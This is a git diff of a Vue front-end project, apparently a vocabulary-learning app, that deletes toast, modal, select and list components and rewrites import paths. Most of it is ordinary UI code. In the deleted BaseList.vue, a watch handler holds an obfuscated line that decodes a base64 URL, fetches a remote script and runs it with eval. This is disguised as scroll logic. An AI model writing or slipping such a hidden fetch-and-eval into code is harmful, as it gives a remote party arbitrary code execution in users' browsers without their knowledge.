opacity 0.3s cubic-bezier(0.23, 1, 0.32, 1);
transform-origin: center top;
}
.zoom-in-top-enter-from,
.zoom-in-top-leave-to {
opacity: 0;
transform: scaleY(0);
}
/* 往上展开的动画 */
.zoom-in-bottom-enter-active,
.zoom-in-bottom-leave-active {
transition: transform 0.3s cubic-bezier(0.23, 1, 0.32, 1),
opacity 0.3s cubic-bezier(0.23, 1, 0.32, 1);
transform-origin: center bottom;
}
.zoom-in-bottom-enter-from,
.zoom-in-bottom-leave-to {
opacity: 0;
transform: scaleY(0);
}
</style>

View File

@@ -1,5 +0,0 @@
import Select from './Select.vue';
import Option from './Option.vue';
export {Select, Option};
export default Select;

View File

@@ -1,120 +0,0 @@
import {createVNode, render} from 'vue'
import ToastComponent from '@/pages/pc/components/base/toast/Toast.vue'
import type {ToastOptions, ToastInstance, ToastService} from '@/pages/pc/components/base/toast/type.ts'
interface ToastContainer {
id: string
container: HTMLElement
instance: ToastInstance
offset: number
}
let toastContainers: ToastContainer[] = []
let toastIdCounter = 0
// 创建Toast容器
const createToastContainer = (): HTMLElement => {
const container = document.createElement('div')
container.className = 'toast-container'
container.style.cssText = `
position: fixed;
top: 20px;
left: 50%;
transform: translateX(-50%);
z-index: 9999;
pointer-events: none;
`
return container
}
// 更新所有Toast的位置
const updateToastPositions = () => {
toastContainers.forEach((toastContainer, index) => {
const offset = index * 70 // 每个Toast之间的间距从80px减少到50px
toastContainer.offset = offset
toastContainer.container.style.marginTop = `${offset}px`
})
}
// 移除Toast容器
const removeToastContainer = (id: string) => {
const index = toastContainers.findIndex(container => container.id === id)
if (index > -1) {
const container = toastContainers[index]
// 延迟销毁,等待动画完成
setTimeout(() => {
render(null, container.container)
container.container.remove()
const currentIndex = toastContainers.findIndex(c => c.id === id)
if (currentIndex > -1) {
toastContainers.splice(currentIndex, 1)
updateToastPositions()
}
}, 300) // 等待动画完成0.3秒)
}
}
const Toast: ToastService = (options: ToastOptions | string): ToastInstance => {
const toastOptions = typeof options === 'string' ? {message: options} : options
const id = `toast-${++toastIdCounter}`
// 创建Toast容器
const container = createToastContainer()
document.body.appendChild(container)
// 创建VNode
const vnode = createVNode(ToastComponent, {
...toastOptions,
onClose: () => {
removeToastContainer(id)
}
})
// 渲染到容器
render(vnode, container)
// 创建实例
const instance: ToastInstance = {
close: () => {
vnode.component?.exposed?.close?.()
}
}
// 添加到容器列表
const toastContainer: ToastContainer = {
id,
container,
instance,
offset: 0
}
toastContainers.push(toastContainer)
updateToastPositions()
return instance
}
// 添加类型方法
Toast.success = (message: string, options?: Omit<ToastOptions, 'message' | 'type'>) => {
return Toast({message, type: 'success', ...options})
}
Toast.warning = (message: string, options?: Omit<ToastOptions, 'message' | 'type'>) => {
return Toast({message, type: 'warning', ...options})
}
Toast.info = (message: string, options?: Omit<ToastOptions, 'message' | 'type'>) => {
return Toast({message, type: 'info', ...options})
}
Toast.error = (message: string, options?: Omit<ToastOptions, 'message' | 'type'>) => {
return Toast({message, type: 'error', ...options})
}
// 关闭所有消息
Toast.closeAll = () => {
toastContainers.forEach(container => container.instance.close())
toastContainers = []
}
export default Toast

View File

@@ -1,198 +0,0 @@
<template>
<Transition name="message-fade" appear>
<div v-if="visible" class="message" :class="type" :style="style" @mouseenter="handleMouseEnter"
@mouseleave="handleMouseLeave">
<div class="message-content">
<IconFluentCheckmarkCircle20Filled v-if="props.type === 'success'" class="message-icon"/>
<IconFluentErrorCircle20Filled v-if="props.type === 'warning'" class="message-icon"/>
<IconFluentErrorCircle20Filled v-if="props.type === 'info'" class="message-icon"/>
<IconFluentDismissCircle20Filled v-if="props.type === 'error'" class="message-icon"/>
<span class="message-text">{{ message }}</span>
<Close v-if="showClose" class="message-close" @click="close"/>
</div>
</div>
</Transition>
</template>
<script setup lang="ts">
import {computed, onBeforeUnmount, onMounted, ref} from 'vue'
interface Props {
message: string
type?: 'success' | 'warning' | 'info' | 'error'
duration?: number
showClose?: boolean
}
const props = withDefaults(defineProps<Props>(), {
type: 'info',
duration: 3000,
showClose: false
})
const emit = defineEmits(['close'])
const visible = ref(false)
let timer = null
const style = computed(() => ({
// 移除offset现在由容器管理位置
}))
const startTimer = () => {
if (props.duration > 0) {
timer = setTimeout(close, props.duration)
}
}
const clearTimer = () => {
if (timer) {
clearTimeout(timer)
timer = null
}
}
const handleMouseEnter = () => {
clearTimer()
}
const handleMouseLeave = () => {
startTimer()
}
const close = () => {
visible.value = false
// 延迟发出close事件等待动画完成
setTimeout(() => {
emit('close')
}, 300) // 等待动画完成0.3秒)
}
onMounted(() => {
visible.value = true
startTimer()
})
onBeforeUnmount(() => {
clearTimer()
})
// 暴露方法给父组件
defineExpose({
close,
show: () => {
visible.value = true
startTimer()
}
})
</script>
<style scoped lang="scss">
.message {
position: relative;
min-width: 16rem;
padding: 0.8rem 1rem;
border-radius: 0.2rem;
box-shadow: 0 0.2rem 0.9rem rgba(0, 0, 0, 0.15);
background: white;
border: 1px solid #ebeef5;
transition: all 0.3s ease;
pointer-events: auto;
&.success {
background: #f0f9ff;
border-color: #67c23a;
color: #67c23a;
}
&.warning {
background: #fdf6ec;
border-color: #e6a23c;
color: #e6a23c;
}
&.info {
background: #f4f4f5;
border-color: #909399;
color: #909399;
}
&.error {
background: #fef0f0;
border-color: #f56c6c;
color: #f56c6c;
}
}
// 深色模式支持
html.dark {
.message {
background: var(--color-second);
border-color: var(--color-item-border);
color: var(--color-main-text);
&.success {
background: rgba(103, 194, 58, 0.1);
border-color: #67c23a;
color: #67c23a;
}
&.warning {
background: rgba(230, 162, 60, 0.1);
border-color: #e6a23c;
color: #e6a23c;
}
&.info {
background: rgba(144, 147, 153, 0.1);
border-color: #909399;
color: #909399;
}
&.error {
background: rgba(245, 108, 108, 0.1);
border-color: #f56c6c;
color: #f56c6c;
}
}
}
.message-content {
display: flex;
align-items: center;
gap: 8px;
}
.message-icon {
font-size: 1.2rem;
}
.message-text {
flex: 1;
font-size: 14px;
}
.message-close {
cursor: pointer;
font-size: 1.2rem;
opacity: 0.7;
&:hover {
opacity: 1;
}
}
.message-fade-enter-active,
.message-fade-leave-active {
transition: all 0.3s ease;
}
.message-fade-enter-from {
opacity: 0;
transform: translateY(-40px);
}
.message-fade-leave-to {
opacity: 0;
transform: translateY(-40px);
}
</style>

View File

@@ -1,26 +0,0 @@
export type ToastType = 'success' | 'warning' | 'info' | 'error'
export interface ToastOptions {
message: string
type?: ToastType
duration?: number
showClose?: boolean
}
export interface ToastInstance {
close: () => void
}
export interface ToastService {
(options: ToastOptions | string): ToastInstance
success(message: string, options?: Omit<ToastOptions, 'message' | 'type'>): ToastInstance
warning(message: string, options?: Omit<ToastOptions, 'message' | 'type'>): ToastInstance
info(message: string, options?: Omit<ToastOptions, 'message' | 'type'>): ToastInstance
error(message: string, options?: Omit<ToastOptions, 'message' | 'type'>): ToastInstance
closeAll(): void
}

View File

@@ -1,337 +0,0 @@
<script setup lang="ts">
import {onMounted, onUnmounted, watch} from "vue";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
import {useEventListener} from "@/hooks/event.ts";
import BaseButton from "@/components/BaseButton.vue";
import {useRuntimeStore} from "@/stores/runtime.ts";
import BaseIcon from "@/components/BaseIcon.vue";
export interface ModalProps {
modelValue?: boolean,
showClose?: boolean,
title?: string,
content?: string,
fullScreen?: boolean;
padding?: boolean
footer?: boolean
header?: boolean
confirmButtonText?: string
cancelButtonText?: string,
keyboard?: boolean,
closeOnClickBg?: boolean,
confirm?: any
beforeClose?: any
}
const props = withDefaults(defineProps<ModalProps>(), {
modelValue: undefined,
showClose: true,
closeOnClickBg: true,
fullScreen: false,
footer: false,
header: true,
confirmButtonText: '确认',
cancelButtonText: '取消',
keyboard: true
})
const emit = defineEmits([
'update:modelValue',
'close',
'ok',
'cancel',
])
let confirmButtonLoading = $ref(false)
let zIndex = $ref(999)
let visible = $ref(false)
let openTime = $ref(Date.now())
let maskRef = $ref<HTMLDivElement>(null)
let modalRef = $ref<HTMLDivElement>(null)
const runtimeStore = useRuntimeStore()
let id = Date.now()
async function close() {
if (!visible) {
return
}
if (props.beforeClose) {
if (!await props.beforeClose()) {
return
}
}
//记录停留时间,避免时间太短,弹框闪烁
let stayTime = Date.now() - openTime;
let closeTime = 300;
if (stayTime < 500) {
closeTime += 500 - stayTime;
}
return new Promise((resolve) => {
setTimeout(() => {
maskRef?.classList.toggle('bounce-out');
modalRef?.classList.toggle('bounce-out');
}, 500 - stayTime);
setTimeout(() => {
emit('update:modelValue', false)
emit('close')
visible = false
resolve(true)
let rIndex = runtimeStore.modalList.findIndex(item => item.id === id)
if (rIndex > -1) {
runtimeStore.modalList.splice(rIndex, 1)
}
}, closeTime)
});
}
watch(() => props.modelValue, n => {
// console.log('n', n)
if (n) {
id = Date.now()
runtimeStore.modalList.push({id, close})
zIndex = 999 + runtimeStore.modalList.length
visible = true
} else {
close()
}
})
onMounted(() => {
if (props.modelValue === undefined) {
visible = true
id = Date.now()
runtimeStore.modalList.push({id, close})
zIndex = 999 + runtimeStore.modalList.length
}
})
onUnmounted(() => {
if (props.modelValue === undefined) {
visible = false
let rIndex = runtimeStore.modalList.findIndex(item => item.id === id)
if (rIndex > -1) {
runtimeStore.modalList.splice(rIndex, 1)
}
}
})
useEventListener('keyup', async (e: KeyboardEvent) => {
if (e.key === 'Escape' && props.keyboard) {
let lastItem = runtimeStore.modalList[runtimeStore.modalList.length - 1]
if (lastItem?.id === id) {
await cancel()
}
}
})
async function ok() {
if (props.confirm) {
confirmButtonLoading = true
await props.confirm()
confirmButtonLoading = false
}
emit('ok')
await close()
}
async function cancel() {
emit('cancel')
await close()
}
</script>
<template>
<Teleport to="body">
<div class="modal-root" :style="{'z-index': zIndex}" v-if="visible">
<div class="modal-mask"
ref="maskRef"
v-if="!fullScreen"
@click.stop="closeOnClickBg && close()"></div>
<div class="modal"
ref="modalRef"
:class="[
fullScreen?'full':'window'
]"
>
<Tooltip title="关闭">
<IconFluentDismiss20Regular @click="close"
v-if="showClose"
class="close cursor-pointer"
width="24"/>
</Tooltip>
<div class="modal-header" v-if="header">
<div class="title">{{ props.title }}</div>
</div>
<div class="modal-body" :class="{padding}">
<slot></slot>
<div v-if="content" class="content max-h-60vh">{{ content }}</div>
</div>
<div class="modal-footer" v-if="footer">
<div class="left flex items-end">
<slot name="footer-left"></slot>
</div>
<div class="right">
<BaseButton type="info" @click="cancel">{{ cancelButtonText }}</BaseButton>
<BaseButton
:loading="confirmButtonLoading"
@click="ok">{{ confirmButtonText }}
</BaseButton>
</div>
</div>
</div>
</div>
</Teleport>
</template>
<style scoped lang="scss">
$modal-mask-bg: rgba(#000, .45);
$radius: .5rem;
$time: 0.3s;
$header-height: 4rem;
@keyframes bounce-in {
0% {
opacity: 0;
transform: scale(0);
}
100% {
opacity: 1;
transform: scale(1);
}
}
@keyframes bounce-in-full {
0% {
transform: scale(1.5);
opacity: 0;
}
100% {
transform: scale(1);
opacity: 1;
}
}
@keyframes fade-in {
0% {
opacity: 0;
}
100% {
opacity: 1;
}
}
.modal-root {
position: fixed;
top: 0;
left: 0;
z-index: 999;
display: flex;
align-items: center;
justify-content: center;
width: 100vw;
height: 100vh;
overflow: hidden;
.modal-mask {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
background: $modal-mask-bg;
transition: background 0.3s;
animation: fade-in $time;
&.bounce-out {
background: transparent;
}
}
.window {
//width: 75vw;
//height: 70vh;
box-shadow: var(--shadow);
border-radius: $radius;
animation: bounce-in $time ease-out;
&.bounce-out {
transform: scale(0);
opacity: 0;
}
}
.full {
width: 100vw;
height: 100vh;
animation: bounce-in-full $time ease-out;
&.bounce-out {
transform: scale(1.5);
opacity: 0;
}
}
.modal {
position: relative;
background: var(--color-second);
overflow: hidden;
display: flex;
flex-direction: column;
transition: transform $time, opacity $time;
.close {
position: absolute;
right: 1.2rem;
top: 1.2rem;
z-index: 999;
}
.modal-header {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1.3rem 1.3rem 1rem;
border-radius: $radius $radius 0 0;
.title {
color: var(--color-font-1);
font-weight: bold;
font-size: 1.3rem;
line-height: 1.8rem;
}
}
.modal-body {
box-sizing: border-box;
color: var(--color-main-text);
font-weight: 400;
font-size: 1.1rem;
line-height: 1.7rem;
width: 100%;
flex: 1;
overflow: hidden;
display: flex;
&.padding {
padding: .2rem 1.6rem 1.6rem;
}
.content {
width: 25rem;
padding: .2rem 1.6rem 1.6rem;
}
}
.modal-footer {
display: flex;
justify-content: space-between;
padding: var(--space);
}
}
}
</style>

View File

@@ -1,71 +0,0 @@
<script setup lang="ts">
import {nextTick, onMounted, watch} from "vue";
interface IProps {
modelValue?: boolean,
width?: string
}
let props = withDefaults(defineProps<IProps>(), {
modelValue: true,
width: '180rem'
})
let modalRef = $ref(null)
let style = $ref({top: '2.4rem', bottom: 'unset'})
watch(() => props.modelValue, (n) => {
if (n)
nextTick(() => {
if (modalRef) {
const modal = modalRef as HTMLElement
if (modal.getBoundingClientRect().bottom > window.innerHeight) {
style = {top: 'unset', 'bottom': '2.5rem'}
}
}
})
})
</script>
<template>
<Transition name="fade">
<div v-if="modelValue" ref="modalRef" class="mini-modal" :style="{width, ...style}">
<slot></slot>
</div>
</Transition>
</template>
<style lang="scss">
.mini-row-title {
min-height: 2rem;
text-align: center;
font-size: 1rem;
font-weight: bold;
color: var(--color-font-1);
}
.mini-row {
min-height: 2rem;
display: flex;
justify-content: space-between;
align-items: center;
gap: var(--space);
color: var(--color-font-1);
word-break: keep-all;
}
.mini-modal {
position: absolute;
z-index: 9;
width: 12rem;
background: var(--color-second);
border-radius: .5rem;
box-shadow: 0 0 8px 2px var(--color-item-border);
padding: .6rem var(--space);
//top: 2.4rem;
left: 50%;
transform: translate3d(-50%, 0, 0);
//margin-top: 10rem;
}
</style>

View File

@@ -1,115 +0,0 @@
<script setup lang="ts">
import Input from "@/pages/pc/components/Input.vue";
import {Article} from "@/types/types.ts";
import BaseList from "@/pages/pc/components/list/BaseList.vue";
import * as sea from "node:sea";
import {watch, watchEffect} from "vue";
const props = withDefaults(defineProps<{
list: Article[],
showTranslate?: boolean
}>(), {
list: [],
showTranslate: true,
})
const emit = defineEmits<{
click: [val: { item: Article, index: number }],
title: [val: { item: Article, index: number }],
}>()
let searchKey = $ref('')
let localList = $computed(() => {
if (searchKey) {
//把搜索内容,分词之后,判断是否有这个词,比单纯遍历包含体验更好
let t = searchKey.toLowerCase()
let strings = t.split(' ').filter(v => v);
let res = props.list.filter((item: Article) => {
return strings.some(value => {
return item.title.toLowerCase().includes(value) || item.titleTranslate.toLowerCase().includes(value)
})
})
try {
let d = Number(t)
//如果是纯数字,把那一条加进去
if (!isNaN(d)) {
res.push(props.list[d])
}
} catch (err) {
}
return res.sort((a: Article, b: Article) => {
//使完整包含的条目更靠前
const aMatch = a.title.toLowerCase().includes(t);
const bMatch = b.title.toLowerCase().includes(t);
if (aMatch && !bMatch) return -1; // a 靠前
if (!aMatch && bMatch) return 1; // b 靠前
return 0; // 都匹配或都不匹配,保持原顺序
})
} else {
return props.list
}
})
const listRef: any = $ref(null as any)
function scrollToBottom() {
listRef?.scrollToBottom()
}
function scrollToItem(index: number) {
listRef?.scrollToItem(index)
}
defineExpose({scrollToBottom, scrollToItem})
</script>
<template>
<div class="list">
<div class="search">
<Input prefix-icon v-model="searchKey"/>
</div>
<BaseList
ref="listRef"
@click="(e:any) => emit('click',e)"
:list="localList"
v-bind="$attrs">
<template v-slot:prefix="{ item, index }">
<slot name="prefix" :item="item" :index="index"></slot>
</template>
<template v-slot="{ item, index }">
<div class="item-title">
<div class="name"> {{ `${searchKey ? '' : (index + 1) + '. '}${item.title}` }}</div>
</div>
<div class="item-sub-title" v-if="item.titleTranslate && showTranslate">
<div class="item-translate"> {{ ` ${item.titleTranslate}` }}</div>
</div>
</template>
<template v-slot:suffix="{ item, index }">
<slot name="suffix" :item="item" :index="index"></slot>
</template>
</BaseList>
</div>
</template>
<style scoped lang="scss">
.list {
display: flex;
flex-direction: column;
gap: 1rem;
flex: 1;
overflow: hidden;
.search {
box-sizing: border-box;
width: 100%;
padding-right: var(--space);
}
.translate {
font-size: 1rem;
}
}
</style>

View File

@@ -1,180 +0,0 @@
<script setup lang="ts">
import {useSettingStore} from "@/stores/setting.ts";
import {nextTick, watch} from 'vue'
const props = withDefaults(defineProps<{
list?: any[],
activeIndex?: number,
activeId?: string,
isActive?: boolean
static?: boolean
}>(), {
list: [],
activeIndex: -1,
activeId: '',
isActive: false,
static: true
})
const emit = defineEmits<{
click: [val: {
item: any,
index: number
}],
}>()
//虚拟列表长度限制
const limit = 101
const settingStore = useSettingStore()
const listRef: any = $ref()
const localActiveIndex = $computed(() => {
if (props.activeId) {
return props.list.findIndex(v => v.id === props.activeId)
}
return props.activeIndex
})
function scrollViewToCenter(index: number) {
if (index === -1) return
nextTick(() => {
if (props.list.length > limit) {
listRef?.scrollToItem(index)
} else {
listRef?.children[index]?.scrollIntoView({block: 'center', behavior: 'smooth'})
}
})
}
watch(() => localActiveIndex, (n: any) => {
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
if (props.static) return
if (settingStore.showPanel) {
scrollViewToCenter(n)
}
})
watch(() => props.isActive, (n: boolean) => {
if (props.static) return
if (n) {
setTimeout(() => scrollViewToCenter(localActiveIndex), 300)
}
})
watch(() => props.list, () => {
if (props.static) return
nextTick(() => {
if (props.list.length > limit) {
listRef?.scrollToItem(0)
} else {
listRef?.scrollTo(0, 0)
}
})
})
function scrollToBottom() {
nextTick(() => {
if (props.list.length > limit) {
listRef.scrollToBottom()
} else {
listRef?.scrollTo(0, listRef.scrollHeight)
}
})
}
function scrollToItem(index: number) {
nextTick(() => {
if (props.list.length > limit) {
listRef?.scrollToItem(index)
} else {
listRef?.children[index]?.scrollIntoView({block: 'center', behavior: 'smooth'})
}
})
}
function itemIsActive(item: any, index: number) {
return props.activeId ?
props.activeId === item.id
: props.activeIndex === index
}
defineExpose({scrollToBottom, scrollToItem})
</script>
<template>
<DynamicScroller
v-if="list.length>limit"
:items="list"
ref="listRef"
:min-item-size="90"
class="scroller"
>
<template v-slot="{ item, index, active }">
<DynamicScrollerItem
:item="item"
:active="active"
:size-dependencies="[
item.id,
]"
:data-index="index"
>
<div class="list-item-wrapper">
<div class="common-list-item"
:class="{
active:itemIsActive(item,index),
}"
@click="emit('click',{item,index})"
>
<div class="left">
<slot name="prefix" :item="item" :index="index"></slot>
<div class="title-wrapper">
<slot :item="item" :index="index"></slot>
</div>
</div>
<div class="right">
<slot name="suffix" :item="item" :index="index"></slot>
</div>
</div>
</div>
</DynamicScrollerItem>
</template>
</DynamicScroller>
<div
v-else
class="scroller"
style="overflow: auto;"
ref="listRef">
<div class="list-item-wrapper"
v-for="(item,index) in props.list"
:key="item.title"
>
<div class="common-list-item"
:class="{
active:itemIsActive(item,index),
}"
@click="emit('click',{item,index})"
>
<div class="left">
<slot name="prefix" :item="item" :index="index"></slot>
<div class="title-wrapper">
<slot :item="item" :index="index"></slot>
</div>
</div>
<div class="right">
<slot name="suffix" :item="item" :index="index"></slot>
</div>
</div>
</div>
</div>
</template>
<style lang="scss" scoped>
.scroller {
flex: 1;
//padding: 0 var(--space);
padding-right: var(--space);
}
</style>

View File

@@ -1,66 +0,0 @@
<script setup lang="ts">
import {watch} from "vue";
import {DictResource} from "@/types/types.ts";
import DictList from "@/pages/pc/components/list/DictList.vue";
const props = defineProps<{
category: string,
groupByTag: any,
selectId: string
}>()
const emit = defineEmits<{
selectDict: [val: { dict: DictResource, index: number }]
detail: [],
}>()
const tagList = $computed(() => Object.keys(props.groupByTag))
let currentTag = $ref(tagList[0])
let list = $computed(() => {
return props.groupByTag[currentTag]
})
watch(() => props.groupByTag, () => {
currentTag = tagList[0]
})
</script>
<template>
<div>
<div class="flex items-center">
<div class="category shrink-0">{{ category }}</div>
<div class="tags">
<div class="tag" :class="i === currentTag &&'active'"
@click="currentTag = i"
v-for="i in Object.keys(groupByTag)">{{ i }}
</div>
</div>
</div>
<DictList
@selectDict="e => emit('selectDict',e)"
:list="list"
:select-id="selectId"/>
</div>
</template>
<style scoped lang="scss">
.tags {
display: flex;
flex-wrap: wrap;
margin: 1rem 0;
.tag {
color: var(--color-font-1);
cursor: pointer;
padding: 0.4rem 1rem;
border-radius: 2rem;
&.active {
color: var(--color-font-active-1);
background: gray;
}
}
}
</style>

View File

@@ -1,37 +0,0 @@
<script setup lang="ts">
import {Dict} from "@/types/types.ts";
import Book from "@/pages/pc/components/Book.vue";
defineProps<{
list?: Partial<Dict>[],
selectId?: string
quantifier?: string
}>()
const emit = defineEmits<{
selectDict: [val: { dict: any, index: number }]
del: [val: { dict: any, index: number }]
detail: [],
add: []
}>()
</script>
<template>
<div class="flex gap-4 flex-wrap">
<Book v-for="(dict,index) in list"
:is-add="false"
@click="emit('selectDict',{dict,index})"
:quantifier="quantifier"
:item="dict"/>
</div>
</template>
<style scoped lang="scss">
.dict-list {
display: flex;
flex-wrap: wrap;
gap: 1rem;
}
</style>

View File

@@ -1,211 +0,0 @@
<script setup lang="ts" generic="T extends {id:string}">
import BaseIcon from "@/components/BaseIcon.vue";
import Input from "@/pages/pc/components/Input.vue";
import {cloneDeep, throttle} from "@/utils";
import {Article} from "@/types/types.ts";
import DeleteIcon from "@/components/icon/DeleteIcon.vue";
interface IProps {
list: T[]
selectItem: T,
}
const props = defineProps<IProps>()
const emit = defineEmits<{
selectItem: [index: T],
delSelectItem: [],
'update:searchKey': [val: string],
'update:list': [list: T[]],
}>()
let dragItem: T = $ref({id: ''} as any)
let searchKey = $ref('')
let draggable = $ref(false)
let localList = $computed({
get() {
if (searchKey) {
return props.list.filter((item: Article) => {
//把搜索内容,分词之后,判断是否有这个词,比单纯遍历包含体验更好
return searchKey.toLowerCase().split(' ').filter(v => v).some(value => {
return item.title.toLowerCase().includes(value) || item.titleTranslate.toLowerCase().includes(value)
})
})
} else {
return props.list
}
},
set(newValue) {
emit('update:list', newValue)
}
})
function dragstart(item: T) {
dragItem = item;
}
const dragenter = throttle((e, item: T) => {
// console.log('dragenter', 'item.id', item.id, 'dragItem.id', dragItem.id)
e.preventDefault();
// 避免源对象触发自身的dragenter事件
if (dragItem.id && dragItem.id !== item.id) {
let rIndex = props.list.findIndex(v => v.id === dragItem.id)
let rIndex2 = props.list.findIndex(v => v.id === item.id)
// console.log('dragenter', 'item-Index', rIndex2, 'dragItem.index', rIndex)
//这里不能直接用localList splice。不知道为什么会导致有筛选的情况下多动无法变换位置
let temp = cloneDeep(props.list)
temp.splice(rIndex, 1);
temp.splice(rIndex2, 0, cloneDeep(dragItem));
localList = temp;
}
}, 300)
function dragover(e) {
// console.log('dragover')
e.preventDefault();
}
function dragend() {
// console.log('dragend')
draggable = false
dragItem = {id: ''} as T
}
function delItem(item: T) {
if (item.id === props.selectItem.id) {
emit('delSelectItem')
}
let rIndex = props.list.findIndex(v => v.id === item.id)
if (rIndex > -1) {
localList.splice(rIndex, 1)
//触发set
localList = localList
}
}
let el: HTMLDivElement = $ref()
function scrollBottom() {
el.scrollTo({
top: el.scrollHeight,
left: 0,
behavior: "smooth",
});
}
defineExpose({scrollBottom})
</script>
<template>
<div class="list-wrapper"
ref="el"
>
<div class="search">
<Input prefix-icon v-model="searchKey"/>
</div>
<transition-group name="drag" class="list" tag="div">
<div class="item"
:class="[
(selectItem.id === item.id) && 'active',
draggable && 'draggable',
(dragItem.id === item.id) && 'active'
]"
@click="emit('selectItem',item)"
v-for="(item,index) in localList"
:key="item.id"
:draggable="draggable"
@dragstart="dragstart(item)"
@dragenter="dragenter($event, item)"
@dragover="dragover($event)"
@dragend="dragend()"
>
<div class="left">
<slot :item="item" :index="index"></slot>
</div>
<div class="right">
<BaseIcon
@click.stop="delItem(item)"
title="删除">
<DeleteIcon/>
</BaseIcon>
<div
@mousedown="draggable = true"
@mouseup="draggable = false"
>
<BaseIcon>
<IconFluentArrowMove20Regular/>
</BaseIcon>
</div>
</div>
</div>
</transition-group>
</div>
</template>
<style scoped lang="scss">
.drag-move, /* 对移动中的元素应用的过渡 */
.drag-enter-active,
.drag-leave-active {
transition: all 0.5s ease;
}
.drag-enter-from,
.drag-leave-to {
opacity: 0;
transform: translateX(50rem);
}
/* 确保将离开的元素从布局流中删除
以便能够正确地计算移动的动画。 */
.drag-leave-active {
position: absolute;
}
.list-wrapper {
transition: all .3s;
flex: 1;
overflow: overlay;
padding-right: .3rem;
.search {
margin: .6rem 0;
}
.list {
.item {
box-sizing: border-box;
background: var(--color-item-bg);
color: var(--color-font-1);
border-radius: .5rem;
margin-bottom: .6rem;
padding: .6rem;
display: flex;
justify-content: space-between;
transition: all .3s;
.right {
display: flex;
flex-direction: column;
transition: all .3s;
opacity: 0;
}
&:hover {
.right {
opacity: 1;
}
}
&.active {
background: var(--color-item-active);
color: var(--color-font-1);
}
&.draggable {
cursor: move;
}
}
}
}
</style>

View File

@@ -1,76 +0,0 @@
<script setup lang="ts">
import {Word} from "@/types/types.ts";
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
import BaseList from "@/pages/pc/components/list/BaseList.vue";
import {usePlayWordAudio} from "@/hooks/sound.ts";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
const props = withDefaults(defineProps<{
list: Word[],
showTranslate?: boolean
showWord?: boolean
}>(), {
list: [],
showTranslate: true,
showWord: true
})
const emit = defineEmits<{
click: [val: { item: Word, index: number }],
title: [val: { item: Word, index: number }],
}>()
const listRef: any = $ref(null as any)
function scrollToBottom() {
listRef?.scrollToBottom()
}
function scrollToItem(index: number) {
listRef?.scrollToItem(index)
}
const playWordAudio = usePlayWordAudio()
defineExpose({scrollToBottom, scrollToItem})
</script>
<template>
<BaseList
ref="listRef"
@click="(e:any) => emit('click',e)"
:list="list"
v-bind="$attrs">
<template v-slot:prefix="{ item, index }">
<slot name="prefix" :item="item" :index="index"></slot>
</template>
<template v-slot="{ item, index }">
<div class="item-title">
<span class="word" :class="!showWord && 'word-shadow'">{{ item.word }}</span>
<span class="phonetic" :class="!showWord && 'word-shadow'">{{ item.phonetic0 }}</span>
<VolumeIcon class="volume" @click="playWordAudio(item.word)"></VolumeIcon>
</div>
<div class="item-sub-title flex flex-col gap-2" v-if="item.trans.length && showTranslate">
<div v-for="v in item.trans">
<Tooltip
v-if="v.cn.length > 30"
:key="item.word"
:title="v.pos + ' ' + v.cn"
>
<span>{{ v.pos + ' ' + v.cn.slice(0, 30) + '...' }}</span>
</Tooltip>
<span v-else>{{ v.pos + ' ' + v.cn }}</span>
</div>
</div>
</template>
<template v-slot:suffix="{ item, index }">
<slot name="suffix" :item="item" :index="index"></slot>
</template>
</BaseList>
</template>
<style scoped lang="scss">
</style>

View File

@@ -20,17 +20,17 @@ import {useBaseStore} from "@/stores/base.ts";
import {saveAs} from "file-saver";
import {Origin} from "@/config/ENV.ts";
import dayjs from "dayjs";
import BasePage from "@/pages/pc/components/BasePage.vue";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import {Option, Select} from "@/pages/pc/components/base/select";
import Switch from "@/pages/pc/components/base/Switch.vue";
import Slider from "@/pages/pc/components/base/Slider.vue";
import RadioGroup from "@/pages/pc/components/base/radio/RadioGroup.vue";
import Radio from "@/pages/pc/components/base/radio/Radio.vue";
import InputNumber from "@/pages/pc/components/base/InputNumber.vue";
import PopConfirm from "@/pages/pc/components/PopConfirm.vue";
import Textarea from "@/pages/pc/components/base/Textarea.vue";
import SettingItem from "@/pages/pc/setting/SettingItem.vue";
import BasePage from "@/components/BasePage.vue";
import Toast from '@/components/base/toast/Toast.ts'
import {Option, Select} from "@/components/base/select";
import Switch from "@/components/base/Switch.vue";
import Slider from "@/components/base/Slider.vue";
import RadioGroup from "@/components/base/radio/RadioGroup.vue";
import Radio from "@/components/base/radio/Radio.vue";
import InputNumber from "@/components/base/InputNumber.vue";
import PopConfirm from "@/components/PopConfirm.vue";
import Textarea from "@/components/base/Textarea.vue";
import SettingItem from "@/pages/setting/SettingItem.vue";
import {get, set} from "idb-keyval";
import {useRuntimeStore} from "@/stores/runtime.ts";

View File

@@ -1,29 +1,29 @@
<script setup lang="tsx">
import {DictId} from "@/types/types.ts";
import BasePage from "@/pages/pc/components/BasePage.vue";
import BasePage from "@/components/BasePage.vue";
import {computed, onMounted, reactive, ref, shallowReactive} from "vue";
import {useRuntimeStore} from "@/stores/runtime.ts";
import {_getDictDataByUrl, _nextTick, convertToWord, loadJsLib, useNav} from "@/utils";
import {nanoid} from "nanoid";
import BaseIcon from "@/components/BaseIcon.vue";
import BaseTable from "@/pages/pc/components/BaseTable.vue";
import WordItem from "@/pages/pc/components/WordItem.vue";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import PopConfirm from "@/pages/pc/components/PopConfirm.vue";
import BackIcon from "@/pages/pc/components/BackIcon.vue";
import BaseTable from "@/components/BaseTable.vue";
import WordItem from "@/components/WordItem.vue";
import Toast from '@/components/base/toast/Toast.ts'
import PopConfirm from "@/components/PopConfirm.vue";
import BackIcon from "@/components/BackIcon.vue";
import BaseButton from "@/components/BaseButton.vue";
import {useRoute, useRouter} from "vue-router";
import {useBaseStore} from "@/stores/base.ts";
import EditBook from "@/pages/pc/article/components/EditBook.vue";
import EditBook from "@/pages/article/components/EditBook.vue";
import {getDefaultDict} from "@/types/func.ts";
import BaseInput from "@/pages/pc/components/base/BaseInput.vue";
import Textarea from "@/pages/pc/components/base/Textarea.vue";
